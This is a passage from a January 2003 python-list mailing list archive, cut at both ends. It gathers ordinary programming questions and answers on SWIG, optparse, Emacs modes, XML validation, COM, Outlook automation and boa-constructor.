but in that case I'd call you lucky...

-Peter



From misterxx at uni-koblenz.de  Mon Jan 13 09:32:31 2003
From: misterxx at uni-koblenz.de (Oleg Seifert)
Date: Mon, 13 Jan 2003 15:32:31 +0100
Subject: c++ swig python
Message-ID: <3E22CDFF.4010007@uni-koblenz.de>

Hallo,

ich habe eine einfache Klasse in c++ geschrieben.
Dann habe ich mit Hilfe von SWIG aus dieser Klasse einen Python-Modul 
(dll-Bibliothek) erstellt. [testfiles.dll + testfiles.lib]

Ich habe diese Bibliothek mir einer kleiner c++-Anwendung testen k?nnen.
Aber wenn ich diesen Modul in Python importiere ("import testfiles") 
kriege ich die Fehlermeldung:

 >>> import testfiles
Traceback (most recent call last):
   File "<stdin>", line 1, in ?
ImportError: dynamic module does not define init function (inittestfiles)
 >>>

Woran k?nnte es liegen ? Was mache ich falsch ?

Danke im Voraus.

mfg,
   Oleg




From BPettersen at NAREX.com  Mon Jan  6 13:45:19 2003
From: BPettersen at NAREX.com (Bjorn Pettersen)
Date: Mon, 6 Jan 2003 11:45:19 -0700
Subject: Suggestion: UnixOptionParser class in optparse.py
Message-ID: <60FB8BB7F0EFC7409B75EEEC13E2019201BFDEA4@admin56.narex.com>

> From: Rich Harkins [mailto:rharkins at thinkronize.com] 
> 
> On Mon, 2003-01-06 at 13:19, Bjorn Pettersen wrote:
> > > From: Rich Harkins [mailto:rharkins at thinkronize.com]
> > > 
> > > I love the OptionParser class.  Good stuff.  The only thing
> > > that I would want different (right now anyway) would be a 
> > > simple way to parse Unix style options (first non-option 
> > > argument terminates options).
> > 
> > Does the getopt module
> > (http://www.python.org/doc/current/lib/module-getopt.html) 
> do what you 
> > want? (It's the pre Python 2.3 way of doing options...)
> > 
> > -- bjorn
> 
> In many ways yes, and I have used it extensively over the 
> years.  OTOH, I have always wanted a class to shorten the 
> standard chunk of code necessary to manage the parsed 
> options, print help, etc., which optparse.py seems to handle 
> quite well -- except for the un-Unix-like ability to stick 
> arguments anywhere in the sys.argv.  Since the author of 
> optparse.py has done a nice job of allowing Unix-like parsing 
> as well, I would simply like to see a subclass that lets me 
> get there without having to subclass it in my own libraries 
> (which will obviously duplicate other's efforts to do the 
> same almost certainly) or stick the exception in the code 
> every time I want to use OptionParser.

Ah, I see. I'm sure a patch will be graciously accepted :-)

-- bjorn




From dutoitc at hotmail.com  Sat Jan 11 19:48:27 2003
From: dutoitc at hotmail.com (Cedric Dutoit)
Date: Sun, 12 Jan 2003 01:48:27 +0100
Subject: XML/DTD
Message-ID: <avqe0l$hr51@news.vtx.ch>

Hi,

I'm searching for the simpliest way to VALIDATE a XML document with a 
given DTD in Python.


I checked xml.parsers.xmlproc, but it appears that whith this package I 
can only read DTD files.


Do anyone have a good idea or a sample code on how to do that ?


Thks,

C.Dutoit




From peterm at resmed.com.au  Sun Jan  5 14:51:23 2003
From: peterm at resmed.com.au (Peter Milliken)
Date: Mon, 6 Jan 2003 06:51:23 +1100
Subject: Emacs and ELSE
References: <8f3f1v4pouvu72cavbntms6elg6grtsrkd@4ax.com> <mailman.1041769390.15953.python-list@python.org>
Message-ID: <X%%R9.6$YG2.174@nnrp1.ozemail.com.au>

Alternately, if you decide you don't want ELSE turned on for editting every
Python file (heaven forbid! :-) I am the author of ELSE - why am I telling
you this? :-)), just keep your .emacs to:

(require 'else-mode)

and then turn it on or off (manually) whenever you feel like it through the
sequence:

M-x else-mode

The addition of else-mode to the python-mode-hook (as Andrew's reply shows
it) will automatically turn on ELSE whenever you load a file with the .py
extension (or whenever else you invoke python mode) - you may not want this
in the long run.

Also, if you start ELSE when editting an existing .py file (as Andrew so
ably points out, the "placeholder" {compilation_unit} is only automatically
inserted on empty .py files), then just either "insert" as placeholder as a
starting point i.e. type:

[statement]...                               (note the ellipses - this tells
ELSE to repeat the placeholder when you "use up" this one)

and "expand" this by typing C-/ e (I bind all of my ELSE commands to
convenient keys such as F2 - F6).

The other alternative is to type an "abbreviation" and expand that i.e. the
key sequence

ifC-/ e   will give you an if construct like this:

  if {expression}:
    {statement}...
  [elif_part]...
  [else_part]

Just start typing when in a placeholder (text surrounded by a {} or []) and
it will be replaced by whatever you type :-)

If you are one of the rare people who like to use code
templates/abbreviations, then I would recommend that you read the ELSE
manual - I am also happy to answer any questions or provide any help with
definition/customisation of templates :-)

Hope this helps and adds constructively to Andrew's explanation - good luck
:-)

Peter


"Andrew McGregor" <andrew at indranet.co.nz> wrote in message
news:mailman.1041769390.15953.python-list at python.org...
> It should say ELSE in the modeline.
>
> The docs kind of assume you already know emacs.
>
> Once you have the ELSE files in your load path, you need:
>
> (require 'else-mode)
> (add-hook 'python-mode-hook 'else-mode)
>
> in your .emacs to automagically get ELSE turned on for python, and similar
> add-hooks for the other languages it supports if you use those.
>
> Then if you open a new .py file, ELSE will insert a tag like
>
> {compilation unit}
>
> for you at the top of the buffer.  Point at it and type C-c / e and ELSE
> will expand it into the template for a python file.  If there are
> alternative templates any time you type that key sequence, ELSE pops up a
> menu to select them from.  Emacs can also parse the provided else.info
file
> for you so you can navigate the docs, and always remember that C-h m lists
> the current keybindings for all active modes in the current buffer!
>
> (if you didn't have the add-hook, you could go M-x else-mode RET to
> manually start ELSE in the current buffer)
>
> Andrew
>
> --On Sunday, January 05, 2003 02:49:05 +0100 Dialtone
> <"dialtone/#NOSPAM#\\"@aruba.it> wrote:
>
> > Hi all. After reading the very long thread about Python editors under
> > linux (and maybe also under windows), I've been trying out Emacs (I
> > already know how to use Vim and GVim, and I may say I love them)...
> >
> > The main reason I'm trying emacs is because of the possibility to
> > lauch the inpterpreter inside Emacs without external apps working and
> > ELSE...
> >
> > Well... I've followed all the instructions in both
> > www.python.org/emacs/python-mode
> > and
> > http://www.zipworld.com.au/~peterm/
> >
> > but I don't know if ELSE is working...
> > How can I know this?
> >
> > anyway... I found only a sample.emacs file in my Xemacs/etc
> > directory... since I did not find anything else I started with that
> > one and at the end renamed it .emacs. It should be good anyway right?
> >
> > thx for the answers.
> > --
> > try: troll = "Brain"
> > except TypeError, data:
> >    troll.plonk()
> > Co-Responsabile Hardware Information & Technology
http://hit.edengames.net
> > --
> > http://mail.python.org/mailman/listinfo/python-list
> >
> >
>
>
>





From peter at engcorp.com  Thu Jan 16 23:13:49 2003
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 16 Jan 2003 23:13:49 -0500
Subject: Coding standard: Prefixing variables to indicate datatype
References: <mailman.1042775551.2081.python-list@python.org>
Message-ID: <3E2782FD.E739D6F8@engcorp.com>

David LeBlanc wrote:
> 
> Peter Hansen wrote:
> > It's "Simonyi", and although I've found many web pages expressing
> > a dislike of the notation, I haven't been able to find any references
> > to Simonyi himself expressing any regret.  Can you point me to one?
>
> I wish I could - apparently, Mr Simonyi bought himself a trout stream down
> in Oregon after leaving Monopoly$oft and there was an interview with him
> there and, IIRC, he made the comment during that interview. I don't recall
> where I read it though alas.

Bummer... I would have liked the ammunition to put this silly 
(or at least obsolete) idea to rest once and for all.

I did find an interview with Simonyi here:

(Warning!  *Nasty* pop-ups on this site using IE.  Take care.)

  http://shamit.virtualave.net/charles_simonyi.htm

but unfortunately it isn't dated, and I find no mention of him disliking
the notation.  Hopefully someone can dig up the right one.

-Peter



From peter at engcorp.com  Wed Jan 15 22:28:18 2003
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 15 Jan 2003 22:28:18 -0500
Subject: Binary search
References: <4OcV9.12866$ym5.2006@afrodite.telenet-ops.be> <b03sui$shn$1@news.netpower.no> <m3n0m2e4ih.fsf@mira.informatik.hu-berlin.de> <b050t9$vtp$0@216.39.172.122> <3E260BCE.5060201@v.loewis.de>
Message-ID: <3E2626D2.10094FC1@engcorp.com>

"Martin v. L?wis" wrote:
> 
> Bengt Richter wrote:
> > I misunderstood the same way ;-) The title "Binary search" didn't primarily
> > suggest binary data to me.
> 
> In German, "Bin?rsuche" would suggest binary data, whereas "bin?re
> Suche" would suggest binary search. Both seem to translate naturally to
> "binary search". I guess in Flemish, the problem is similar, hence the
> misunderstanding.

In any case, the OP fairly clearly indicated that he understood
what the term "binary search" usually meant, and that he did not
in fact mean that meaning...

-Peter



From jdhunter at ace.bsd.uchicago.edu  Mon Jan 13 17:44:52 2003
From: jdhunter at ace.bsd.uchicago.edu (John Hunter)
Date: Mon, 13 Jan 2003 16:44:52 -0600
Subject: Extracting int from string
In-Reply-To: <avvd1l$ee7$1@news.efn.org> (Spencer Ernest Doidge's message of
 "13 Jan 2003 22:02:29 GMT")
References: <avvd1l$ee7$1@news.efn.org>
Message-ID: <m2smvwd5zv.fsf@mother.paradise.lost>

>>>>> "Spencer" == Spencer Ernest Doidge <spencer at efn.org> writes:

    Spencer> What would be the best way to extract the integer value
    Spencer> 45 from the following string?  'X= 45 A'

With no error checking, etc, the following should speed you on your
way

  s = 'X=   45   A'
  x = int(s.split()[1])
  print x, type(x)

If your strings are more irregular than your example, eg, if

  s = 'X =   45   A'

is a legal string, you may want to look at module re's split.

John Hunter






From vanevery at 3DProgrammer.com  Fri Jan 31 18:03:22 2003
From: vanevery at 3DProgrammer.com (Brandon Van Every)
Date: Fri, 31 Jan 2003 23:03:22 GMT
Subject: Help a C++ coder see the light
References: <memo.20030130181135.820C@a.radioscape.com> <mailman.1043956135.5480.python-list@python.org> <lIg_9.5348$Wu1.409171@newsread1.prod.itd.earthlink.net> <m3of5yf6hs.fsf@ferret.object-craft.com.au>
Message-ID: <_gD_9.851$ek4.85032@newsread2.prod.itd.earthlink.net>

Dave Cole wrote:
>
> What!!!  How can that be!!!  It passed through the compiler/linker
> safety net.

I'm not even going to try to read/understand your code.  I will note that
you're using printf, which is not a typed printing method.  Try <iostream>

--
Cheers,                         www.3DProgrammer.com
Brandon Van Every               Seattle, WA

20% of the world is real.
80% is gobbledygook we make up inside our own heads.




From adalke at mindspring.com  Tue Jan 28 19:17:44 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Tue, 28 Jan 2003 17:17:44 -0700
Subject: Hacking Heaven - Leo+XEmacs Integrated
In-Reply-To: <93rZ9.51593$F63.1103117@news.xtra.co.nz>
References: <93rZ9.51593$F63.1103117@news.xtra.co.nz>
Message-ID: <b176jl$vrg$1@slb5.atl.mindspring.net>

Aum wrote:
> Installation:
> 1. Install Leo from CVS - instructions on the Leo website (above)

I couldn't find anything other than the standard Sourceforge
CVS instructions, which wasn't all that obvious to find.  Did
you mean anything else?

I then did a 'python setup.py install' which is not mentioned
on the CVS directory.  There is a 'README.txt' which is more
of a CHANGELOG than a README.  The first line says

  Important note: See INSTALL.TXT for installation instructions.

but there is no 'INSTALL.TXT' anywhere in the cvs distribution.

Note that it installs 20 modules in site-packages, as compared
to a module, which is what I would have prefered.

> 2. Replace LeoPy.leo with my hacked copy:
>    http://www.freenet.org.nz/downloads/LeoPy.leo

In the local cvs directory?  I didn't see that file located
anywhere under the /usr/local/ directory, which is what I
expected.  How does any leo installation know to look in
the cvs directory for the configuration.

> 3. Set up your xemacs so it launches gnuserv on startup

Used xemacs for years. .... So, um, how do I do that and why?

I did find
   Options -> Customize -> Emacs -> Environment -> Gnuserv
but nothing which said "launch gnuserv on startup"

> 4. Open a leo window on the left of the screen - slide the divider all the
>    way right so no code pane is visible, then resize the window to thin and  
>    tall

How do I start leo?  Nothing is installed under /usr/local/bin.
Ahhh, okay, grep for "__main__" shows that the exectuable is
'leo.py', which is not marked as executable out of cvs so I need
to run it as 'python leo.py'.

Looks like I shouldn't have done the 'python setup.py install'?

> 5. Open Xemacs on the right.

That one I can do.

> Try out this combo - you might just love it.

I tried.  So far it's in the category of "maybe a great idea
but not yet at the state for me."

					Andrew
					dalke at dalkescientific.com




From duncan at NOSPAMrcp.co.uk  Mon Jan 20 10:20:32 2003
From: duncan at NOSPAMrcp.co.uk (Duncan Booth)
Date: Mon, 20 Jan 2003 15:20:32 +0000 (UTC)
Subject: lots of similar classes?
References: <53ce2726.0301200637.611c2041@posting.google.com>
Message-ID: <Xns93099BBA5ADF1duncanrcpcouk@127.0.0.1>

boncelet at udel.edu (boncelet) wrote in 
news:53ce2726.0301200637.611c2041 at posting.google.com:

> My problem is rewriting the "lot_of_other_arguments" over and over
> again seems wasteful, error-prone, and fragile.  Is there a better
> way?

class A(Super):
    def __init__(self, name='a', **args):
        Super.__init__(self, name, **args)


-- 
Duncan Booth                                             duncan at rcp.co.uk
int month(char *p){return(124864/((p[0]+p[1]-p[2]&0x1f)+1)%12)["\5\x8\3"
"\6\7\xb\1\x9\xa\2\0\4"];} // Who said my code was obscure?



From mwh at python.net  Thu Jan 16 11:19:39 2003
From: mwh at python.net (Michael Hudson)
Date: Thu, 16 Jan 2003 16:19:39 GMT
Subject: copy-on-write for dict objects?
References: <avtss7$ejg$1@news.sns-felb.debis.de> <7h3n0m2p77m.fsf@pc150.maths.bris.ac.uk> <b06ddn$5vk$1@news.sns-felb.debis.de> <7h34r89p3wp.fsf@pc150.maths.bris.ac.uk> <b06jf5$5vk$2@news.sns-felb.debis.de>
Message-ID: <7h3d6mxnk22.fsf@pc150.maths.bris.ac.uk>

Matthias Oberlaender <matthias.oberlaender at REMOVE.daimlerchrysler.com> writes:

> In <7h34r89p3wp.fsf at pc150.maths.bris.ac.uk> Michael Hudson wrote:
> 
> <snip>  my stuff deleted 
> 
> > 
> > You *could* try this (untested):

*my* stuff deleted.

> Another problem with all these approaches is that they introduce a
> level of indirection. For example, I use to write 'k in d' in my
> code (which seems to be even faster than 'd.has_key(k)'.  If this
> has to go through a method of my own, the speed penalty is
> significant.

Only until the copy happens, though.  Urgh, actually not in the code I
posted, but that's easy.  Better than nothing?

Cheers,
M.

-- 
  Darned confusing, unless you have that magic ingredient coffee, of
  which I can pay you Tuesday for a couple pounds of extra-special
  grind today.                           -- John Mitchell, 11 Jan 1999



From lawrence_jesse at yahoo.ca  Sun Jan 12 23:41:34 2003
From: lawrence_jesse at yahoo.ca (Jesse Lawrence)
Date: Sun, 12 Jan 2003 23:41:34 -0500 (EST)
Subject: Strange urllib and httplib problem
Message-ID: <20030113044134.35540.qmail@web11306.mail.yahoo.com>

I'm trying to code something with either urllib or
httplib.  No matter what I try, when I run my scripts,
it  says the following:

Enter an address:

Just to try it, I enter an address, and then I get an
error message telling my that it can't import name
urlsplit.

Now, I haven't coded anything about entering an
address in my script.  Can someone help me figure this
out?

Thanks a million,

Jesse Lawrence





______________________________________________________________________ 
Post your free ad now! http://personals.yahoo.ca




From bdesth at nospam.free.fr  Mon Jan 20 22:51:02 2003
From: bdesth at nospam.free.fr (laotseu)
Date: Mon, 20 Jan 2003 22:51:02 -0500
Subject: Python spreadsheet
References: <b0hi2e$jh0$1@news.tpi.pl>
Message-ID: <3E2CC3A6.1050308@nospam.free.fr>

frasim at op.pl wrote:
> Is there any opensource spreadsheet written in Python? If not it would be
> great project  to develop with a new wxGrid control, Python as macro
> language, cross-platform etc..
> 

Think I saw something like this on fr.comp.lang.python (was Tkinter...).

Laotseu




From johnroth at ameritech.net  Wed Jan  1 18:15:49 2003
From: johnroth at ameritech.net (John Roth)
Date: Wed, 1 Jan 2003 18:15:49 -0500
Subject: Python vs. Ruby
References: <_YhQ9.391356$GR5.119074@rwcrnsc51.ops.asp.att.net> <v14ch7mkp0vu55@news.supernews.com> <mailman.1041382562.17669.python-list@python.org> <v15qgkgpq72tbf@news.supernews.com> <3759308d.0301011401.4b32deba@posting.google.com> <3E137008.3586A4D8@engcorp.com>
Message-ID: <v16tkkjj3hahdd@news.supernews.com>

"Peter Hansen" <peter at engcorp.com> wrote in message
news:3E137008.3586A4D8 at engcorp.com...
> Rob Renaud wrote:
> >
> > <lot snipped>
> > "John Roth" <johnroth at ameritech.net> wrote in message
> > > Whether append() returns a *new* object or not is irrelevant to
> > > my arguement. The fact that it returns None is the wart.
> > >
> > > John Roth
> >
> > It's consistant, not a wart from my perspective.  If an object is
> > modified, it is not returned.
> >
> > For every part of the (admittedly small) python library I know, that
> > is the case.  Returning None is a hint that the object is modified.

I wasn't aware that it was a consistent policy. That doesn't mean it
isn't, just that I wasn't aware of it if it is.

> > So then the question becomes, why don't append(), sort(), reverse()
> > return a new list and not modify the original?  Are mutable objects
> > themselves a wart on the langauge?
>
> I believe the response might be that, in at least the case of sort(),
> and probably reverse() as well, creation of a new list would require
> twice the memory, at least temporarily, which can be very undesirable.

That's what I've always heard. In the case of .sort() and .reverse() the
performance hit (other than for storage allocation) would be neglible,
but for
.append() it involves copying the entire list as well as allocating
storage.

John Roth
>
> -Peter





From spencer at efn.org  Mon Jan 13 20:30:36 2003
From: spencer at efn.org (Spencer Ernest Doidge)
Date: 14 Jan 2003 01:30:36 GMT
Subject: Extracting float from string
Message-ID: <avvp7s$l1i$1@news.efn.org>

>From a previous post,
I got many good solutions to extracting an int from
'X= 445 A'.

Now what about this one?
Somewhere (we don't know where) in this input string, we expect to find a float:
':X=  0.22456  A'

How can I suck the float out of this one?


-- 
Spencer Doidge



From theller at python.net  Fri Jan 24 13:01:39 2003
From: theller at python.net (Thomas Heller)
Date: 24 Jan 2003 19:01:39 +0100
Subject: Unloading COM dlls, help needed
References: <r8b3sj45.fsf@python.net> <DP6Y9.23898$m47.76584@news-server.bigpond.net.au>
Message-ID: <k7gupgu4.fsf@python.net>

"Neil Hodgson" <nhodgson at bigpond.net.au> writes:

> Thomas Heller:
> 
> > I think I got everything correct, COM reference counting seems OK,
> > DllCanUnloadNow returns correct values, all I can think of.
> 
>    I recall much discussion of this sort of thing when I was doing COM work
> several years ago with Microsoft applications avoiding and delaying
> unloading DLLs because of bugs in COM objects.
> 
>    Google Groups for "CoFreeUnusedLibraries explorer" and you will see
> comments like "I just did a couple of tests with SHLoadInProc on W2K and it
> appears that they no longer bother about unloading DLLs at all. The 10
> minute unload time of Win9x and NT4 may have been annoying, but it was
> better than nothing." There is a technique for reducing the wait on other
> versions of Windows:
> [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\explorer]
> AlwaysUnloadDll=1
>    Search for AlwaysUnloadDll on MSDN for some useful information.

Thanks, Neil. Very useful, that should push me into the right
direction.

Thomas



From andrew at indranet.co.nz  Tue Jan 28 02:36:48 2003
From: andrew at indranet.co.nz (Andrew McGregor)
Date: Tue, 28 Jan 2003 20:36:48 +1300
Subject: emacs python mode problem
In-Reply-To: <3E362A33.B6FD01B6@alcyone.com>
References: <c3835e5f.0301271901.546be815@posting.google.com>
 <3E362A33.B6FD01B6@alcyone.com>
Message-ID: <14800000.1043739408@localhost.localdomain>


--On Monday, January 27, 2003 22:58:59 -0800 Erik Max Francis 
<max at alcyone.com> wrote:

> Chris Fonnesbeck wrote:
>>
>> I've become a little frustrated with the python indenting in python
>> mode for emacs. I have tried setting the indent to 4 spaces both via
>> the configuration menu and by hand in my .emacs file:
>>
>> '(setq-default py-indent-offset 4)
>
> Hmm, it doesn't look like that quote should be there.

That quote effectively turns the line into a comment (it turns a function 
call into a list constant, and then does nothing with it).

If however you're quoting part of something like this from my 
.xemacs/custom.el then it's OK (but notice the different syntax).

(custom-set-variables
 '(paren-mode (quote sexp) nil (paren))
 '(lazy-shot-mode t nil (lazy-shot))
 '(fast-lock-mode t nil (fast-lock))
 '(line-number-mode t)
 '(py-indent-offset 4)
 '(font-lock-mode t nil (font-lock)))

>> However, when editing python files, from time to time the indentation
>> falls back to 8 spaces. Anyone have an idea as to why this may be
>> happening?

Because your settings are wrong, and python mode guessed the indentation 
was 8 spaces.

> I've been using python-mode since I first came on the Python scene and
> I've never seen anything like that.  Could it be that the Python files
> you're editing contain the little #-*- (or whatever they are; I've never
> used them myself) indenting hints?  (I don't even know to what extent
> these are supported, this is an off-the-wall answer.)

Those are always supported in (recent versions of) emacs, so yes, if the 
magic emacs comments in the code (at beginning or end of the file) say 
something other than the default, they prevail.

Andrew




From jwaltzer at ndresources.com  Wed Jan 22 11:31:35 2003
From: jwaltzer at ndresources.com (Jared Waltzer)
Date: Wed, 22 Jan 2003 10:31:35 -0600
Subject: MS SQL Server
Message-ID: <17BD6C3CBC998F429B46115F072C51BD19B9C7@GAR.corp.ndholdings.com>

This worked well for me:
Python and ActiveX Data Objects (ADO)
http://www.e-coli.net/pyado.html


-----Original Message-----
From: Axel Grune [mailto:NineOfSix at gmx.de]
Sent: Wednesday, January 22, 2003 9:58 AM
To: python-list at python.org
Subject: MS SQL Server


Hi, I'm wondering if Microsoft's SQL Server can be accessed using Python?
I've found the both ODBC moduls on www.python.org, 'mxODBC' and 'ODBC 
interface'. Do they work reliable? What's about the Oracle moduls?

TIA,
Axel

--

Gnade bring uns nicht weiter;-)

-- 
http://mail.python.org/mailman/listinfo/python-list




From wilk-spamout at flibuste.net  Fri Jan 10 05:37:37 2003
From: wilk-spamout at flibuste.net (William)
Date: 10 Jan 2003 11:37:37 +0100
Subject: Java 20xfaster then Python !!??
References: <3E1E9CB2.6080001@molgen.mpg.de>
Message-ID: <87znq9uw7i.fsf@flibuste.net>

Axel Kowald <kowald at molgen.mpg.de> writes:

> Hi everybody,
> 
> I just had a look at these very detailed benchmark tests,
> http://www.bagley.org/~doug/shootout/, and I was surprised to see that
> often java is 20 times faster than python !!
> 
> How can this be? Both languages interprete bytecode. Maybe because
> java has a JIT compiler ??

i think.

> Is there any hope that python might become faster in future releases ?

yes, look at http://psyco.sourceforge.net/

It could be good to test the doug's scripts with python2.3 and psyco,
somebody did-it ?

Don't forget that these kind of scripts are generaly <1% of a
complet application.

-- 
William Dode - http://flibuste.net



From frenchfry at yes.no  Wed Jan  8 02:51:56 2003
From: frenchfry at yes.no (french fry)
Date: Wed, 08 Jan 2003 07:51:56 GMT
Subject: curious to opinions on easygui
Message-ID: <pan.2003.01.08.07.53.05.109439.12689@yes.no>

i've been using python for 2 years or so for simple tasks and console
based programs, i wanted to move on to gui. i've looked into tkinter, Tix,
anygui, Wx, pythoncard, easygui, QT, and gtk.

maybe it's just me but i think easygui is fantastically simple and
provides much needed functionality at practically no learning curve except
knowing how to use functions. i know guido sometimes adopts community
created modules into the standard library, i don't understand why easygui
isn't there. not to mention the docs the author puts out are very clear
written and easy to understand, clearer than a lot of the documentation in
the module index. what's the deal? are there some fundamental flaws in
easygui i'm too ignorant to pick up on?



From frasim at op.pl  Sat Jan 18 13:48:12 2003
From: frasim at op.pl (frasim at op.pl)
Date: Sat, 18 Jan 2003 19:48:12 +0100
Subject: Python spreadsheet
Message-ID: <b0hi2e$jh0$1@news.tpi.pl>

Is there any opensource spreadsheet written in Python? If not it would be
great project  to develop with a new wxGrid control, Python as macro
language, cross-platform etc..










From judi at advancedtechno.com  Thu Jan 16 10:05:34 2003
From: judi at advancedtechno.com (Judi)
Date: 16 Jan 2003 07:05:34 -0800
Subject: Job Opportunity
Message-ID: <a69152bc.0301160705.346d9a51@posting.google.com>

6 month to perm job opportunity in Maryland

MUST HAVE Real time embedded C, C++, or Ada
Lynx OS, Python Scripting
Mil-stds or Integration experience preferred
Must be US Citizen

For more information please email resume and contact info. to
judi at advancedtechno.com



From akjmicro at yahoo.com  Mon Jan 27 11:33:38 2003
From: akjmicro at yahoo.com (Aaron K. Johnson)
Date: Mon, 27 Jan 2003 10:33:38 -0600
Subject: Emacs has eaten my python tabs!!!
References: <1043563632.4966.71.camel@refugeeMedia> <15923.64232.153575.441139@montanaro.dyndns.org> <mailman.1043595527.13755.python-list@python.org> <pm7eg-im3.ln1@beastie.ix.netcom.com> <v39007j7i12ud2@news.supernews.com>
Message-ID: <b13mvs$cuj$1@bob.news.rcn.net>

As an aside to thei whole thread, IMO the simplest, best editor out there for
any *nix platform is Joe, esp when you use the 'pico' emulation mode. Emacs is
powerful, but a bit slow and large, and I hate the interface and complexity of
vi.

Then again, I don't find code highighting, etc. crucial.Although I don't use it
if it does exis, I think it is possible to configure Joe to highlight.

If anyone is interested in using Joe/jpico, it's a simple, easy-to-use editor
editor, but with all the power you need-you can filter commands through
selected blocks for what amounts to 'macros' of sorts. I wrote an 'indent'
script (in Python, of course) for use with Joe that works beautifully on Python
code...it's parameter can be negative as well, for dedenting.

This is mostly what people need to do using Emacs anyway, right?

I strictly use tabs for whitespace, and I set the editor to make a tab worth 4
spaces in its presentation....more fits on the page(it looks better IMHO)

-Aaron.


In message <v39007j7i12ud2 at news.supernews.com>, "John Roth" wrote:
> 
> "Dennis Lee Bieber" <wlfraed at ix.netcom.com> wrote in message
> news:pm7eg-im3.ln1 at beastie.ix.netcom.com...
> > Mongryong fed this fish to the penguins on Sunday 26 January 2003
> 07:37
> > am:
> >
> > > Doesn't python rely on tabs?
> > >
> >         It relies on indentation, and a tab is considered 8 spaces --
> 
> This isn't exactly correct. There's an undocumented hack in the
> python compiler that recognizes the Emacs tab comment, among
> others, and if it finds it, sets tabs to that value. I'm not certain of
> which releases this is in, but it's been commented on a time or three.
> 
> This was, I believe, an attempt at one time to "fix" the mixed
> tab and space problem.
> 
> > the only
> > time mixed spaces and tabs works is when a tab stop is visually 8
> > spaces. If one has an editor configured with 4-space tabs and then
> > mixes lines with tabs and 4-spaces, Python sees two indentation
> levels:
> > 4 and 8 space.
> >
> >         All tabs works fine regardless of editor tab stops. All spaces
> works
> > fine. Mixed spaces and tabs is deadly.
> 
> So is the use of tabs in certain contexts; in particular any attempt
> to e-mail a python source to someone using Outlook Express. OE
> has this nasty habit of ignoring leading tabs.
> 
> John Roth
> >
 





From mhammond at skippinet.com.au  Wed Jan 15 18:09:21 2003
From: mhammond at skippinet.com.au (Mark Hammond)
Date: Wed, 15 Jan 2003 23:09:21 GMT
Subject: Outlook/Exchange CDO/COM questions
In-Reply-To: <fc30bff.0301150810.4e6b2271@posting.google.com>
References: <fc30bff.0301150810.4e6b2271@posting.google.com>
Message-ID: <BSlV9.16324$UB4.73555@news-server.bigpond.net.au>

John Taylor wrote:
> I have 3 questions about the code that I am writing (posted below).
> 
> 1) This code works on Inbox, but I really need it to work on the "Sent
> Items" folder, but can not figure this out.

folder = outlook.Session.GetDefaultFolder(constants.olFolderSentMail)

should open it for you.

> 2) Iterating through Recipients returns all names listed in the "To:"
> header, how do I also get "CC:"?

Each recipient object has a "Type" property that may be one of OlTo, 
olCC, etc

> 3) Some of the text is unicode, but it is probably just a few
> characters.  How do I print out unicode text, in the info() function. 
> I imagine this is utf-16, since this is Microsoft.

It depends on where you want to print it.

In many cases, 'print unicode_value.encode("mbcs", "replace")' will 
print something reasonable without failiing with Unicode errors.

Mark.




From skip at pobox.com  Sat Jan 25 11:53:42 2003
From: skip at pobox.com (Skip Montanaro)
Date: Sat, 25 Jan 2003 10:53:42 -0600
Subject: December 2002 comp.lang.* stats
In-Reply-To: <b0ubqc$oiv$4@bob.news.rcn.net>
References: <b0tctd$9cn$1@bob.news.rcn.net>
        <3E323B85.9DF6D032@alcyone.com>
        <b0ubqc$oiv$4@bob.news.rcn.net>
Message-ID: <15922.49430.152961.821013@montanaro.dyndns.org>

    Aaron> Spam....hmmm.....don't know what kind of mechanism I could set up
    Aaron> that would filter that easily, or without me blowing the script
    Aaron> size to larger than I would want it to be....if you want to take
    Aaron> over, I'd pass you the code!

Download spambayes (http://spambayes.sf.net/), install it and train it on a
representative sample of ham and spam you find in the candidate groups
(100-200 messages should be sufficient), then run your counter script, and
ask spambayes to score each message with a tight ham_cutoff (0.1) and a
reasonable spam_cutoff (0.8).  Ignore any message classified as spam and
save any message classified as unsure.  Check the unsures.  If there are too
many mistakes there, train on them and/or adjust your spam/ham cutoff values
to better reflect the nature of the messages you get.

Skip









From skip at pobox.com  Sat Jan 11 10:13:10 2003
From: skip at pobox.com (Skip Montanaro)
Date: Sat, 11 Jan 2003 09:13:10 -0600
Subject: nyu cs department
In-Reply-To: <3e1f9df7$1_3@nopics.sjc>
References: <3e1f77d2$1_7@nopics.sjc>
        <3E1F7D93.F9B3A62D@engcorp.com>
        <3e1f9df7$1_3@nopics.sjc>
Message-ID: <15904.13446.906732.795237@montanaro.dyndns.org>

    >> (And it's not even on topic for the Python newsgroup!)

    >> what newsgroup would u suggest i post this on

Post to groups related to your interests in CS.  For example, if you're
interested in computer graphics, try comp.graphics.  If you're interested in
computer architecture, try comp.arch.  If you're interested in Python, try
comp.lang.python.  In any case, provide some context to your request, so
people have some idea why you're posting to that group.

Skip




From PoulsenL at capanalysis.com  Tue Jan 14 14:16:57 2003
From: PoulsenL at capanalysis.com (PoulsenL at capanalysis.com)
Date: Tue, 14 Jan 2003 14:16:57 -0500
Subject: boa-constructor 0.2 freezes on start-up
Message-ID: <72F73B808A78D511A73600034771D9FF718122@dc_exchange2.howrey.com>

I am having some trouble getting boa up and running.  I am using Python
2.2.2 and wxPython 2.4.0 for 2.2 I can't seem to get past

...
importing Models.ConfigSupport
importing Models.CPPSupport
importing Models.HTMLSupport
importing Models.XMLSupport
importing ZopeLib.ZopeEditorModels
executing plug-ins...
importing ZopeLib.ZopeViews
importing ZopeLib.ZopeExplorer
importing Explorers.PrefsExplorer
creating Inspector
importing Inspector
creating Editor
importing Editor
importing Explorers

using python -v 

I can't really get any more info

...
importing Editor
# C:\Python22\lib\Queue.pyc matches C:\Python22\lib\Queue.py
import Queue # precompiled from C:\Python22\lib\Queue.pyc
# C:\Python22\Lib\site-packages\wxPython\tools\boa\EditorUtils.pyc matches
C:\Py
thon22\Lib\site-packages\wxPython\tools\boa\EditorUtils.py
import EditorUtils # precompiled from
C:\Python22\Lib\site-packages\wxPython\too
ls\boa\EditorUtils.pyc
# C:\Python22\lib\threading.pyc matches C:\Python22\lib\threading.py
import threading # precompiled from C:\Python22\lib\threading.pyc
# C:\Python22\lib\atexit.pyc matches C:\Python22\lib\atexit.py
import atexit # precompiled from C:\Python22\lib\atexit.pyc
# C:\Python22\Lib\site-packages\wxPython\tools\boa\Browse.pyc matches
C:\Python2
